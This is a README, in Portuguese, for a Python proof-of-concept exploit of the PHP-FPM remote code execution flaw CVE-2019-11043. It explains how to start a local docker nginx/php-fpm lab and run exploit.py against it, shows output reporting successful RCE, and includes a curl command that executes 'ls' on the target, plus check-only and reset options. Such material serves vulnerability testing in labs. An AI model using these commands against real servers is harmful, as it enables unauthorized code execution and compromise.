
(PoC) Versão em Python do exploit CVE-2019-11043 por neex
Uma versão em Python do exploit CVE-2019-11043 https://github.com/neex/phuip-fpizdam
Este PoC ainda é um rascunho; use o exploit escrito por @neex
Análise da vulnerabilidade: https://paper.seebug.org/1064/
Basta executar o docker compose para subir o nginx e o php-fpm:
# docker-compose up -d
Creating network "cve-2019-11043-git_app_net" with driver "bridge"
Creating php ... done
Creating nginx ... done
Se quiser ler os logs do php-fpm, você pode executar:
docker logs --tail 10 --follow php
# python3 exploit.py --url http://localhost/index.php
[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable: PHPSESSID=05b156ea034b903de6624f09c513541c; path=/
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://localhost/index.php?a=bin/ls+/
Se quiser verificar apenas a vulnerabilidade, sem executar o exploit:
python3 exploit.py --url http://localhost/index.php --skip-rce
#...
python3 exploit.py --url http://localhost/index.php --reset
Você pode tentar matar o processo php-fpm e redefinir todas as configurações PHP injetadas com --reset:
python3 exploit.py --url http://localhost/index.php --reset
https://twitter.com/Menin_TheMiddle/status/1188776386569355265